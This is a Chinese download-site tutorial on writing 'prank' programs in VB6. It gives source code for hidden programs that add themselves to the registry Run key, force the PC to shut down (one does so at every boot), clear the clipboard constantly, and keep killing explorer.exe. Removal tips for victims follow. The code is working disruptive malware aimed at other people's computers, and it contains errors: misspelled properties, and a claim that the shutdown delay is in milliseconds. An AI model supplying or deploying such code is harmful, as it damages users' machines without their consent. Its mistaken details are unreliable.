软件下载 | 资讯教程 | 最近更新 | 下载排行 | 一键转帖 | 发布投稿
您的位置:最火下载站 > 电脑教程 > 编程开发 > vb开发 > 使用VB6.0编写恶搞软件

使用VB6.0编写恶搞软件

VB是一个简单的语言,制作一些恶搞的软件并不困难,下面来写一些恶搞软件的源代码以及对于这些恶搞软件的解决方法。以下代码用于VB6.0

恶搞1:开机自起,启动说一些话,然后确定后会出现关机倒数计时。

提前设置:

Form1.Vissible=False

Form1.Captain="任意名称"

代码:

Private Sub Form_Load()
Set w = CreateObject("wscript.shell")
w.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
Msgbox("[所说的话]",[对话框类型],"对话框标题")
Call Shell("cmd.exe /c start shutdown -s -t [*时间]")
End Sub

*[时间]:单位为1毫秒,1000毫秒=1秒

恶搞2:开机后自动关机

提前设置:

Form1.vissible=false

代码:

Private Sub Form_Load()
Set w = CreateObject("wscript.shell")
w.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"

Call Shell("cmd.exe /c start shutdown -s -t 0")
End Sub

恶搞3:*不能让对方复制粘贴

提前设置

Form1.vissible=false

创建一个Timer控件,名称为Timer1,设置Timer的Interval属性为1,Enabled属性为True

代码:

Private Sub Timer1_Timer()
        Clipboard.Clear
    End Sub

*此程序未设置开机自启,只能使用一次,可加入开机自起的代码。

恶搞4:*每隔一段时间,让桌面图标消失、任务栏消失

提前设置:

Form1.vissible=false

建立Timer控件,名为Timer1,时间可自定义,但最好不要小于10000,否则,可能会出错。

代码:

       Private Sub Timer1_Timer()
            Shell "cmd.exe /k taskkill /f /im explorer.exe & exit"
       End Sub

*程序出错率极高,但也最容易实现恶搞;未提前设置开机自起,可自行加入。

恶搞1:出现骂人的提示框,不要点确定或者取消,先不要动它,打开任务管理器(右键任务栏有),在进程中关闭它。如果再次之前杀毒软件(第三方安全软件)发现它要开机自起,取消,如果已经点过确定,在安全软件中应该有开机自启管理的功能,把它关闭。

恶搞2:这个比较麻烦,开机F8进入安全模式,然后通过第三方安全软件,同上,关闭它,找到位置,删掉它

恶搞3:打开任务管理器,找出可疑程序,关闭它。(比如说Object1.exe、Form1.exe等等,如果是名字伪装成系统进程,用杀毒软件或者第三方安全软件查杀一下就行了。)

恶搞4:同恶搞3的方法,但相比起来比较难查,当你的进程“Explorer.exe”被关闭时,系统自动启动并恢复桌面,这时,你用手动方式关闭Explorer.exe进程,之后,这个恶搞程序就会因为错误而崩溃。

用VB6.0编写恶搞软件

    相关阅读
    栏目导航
    推荐软件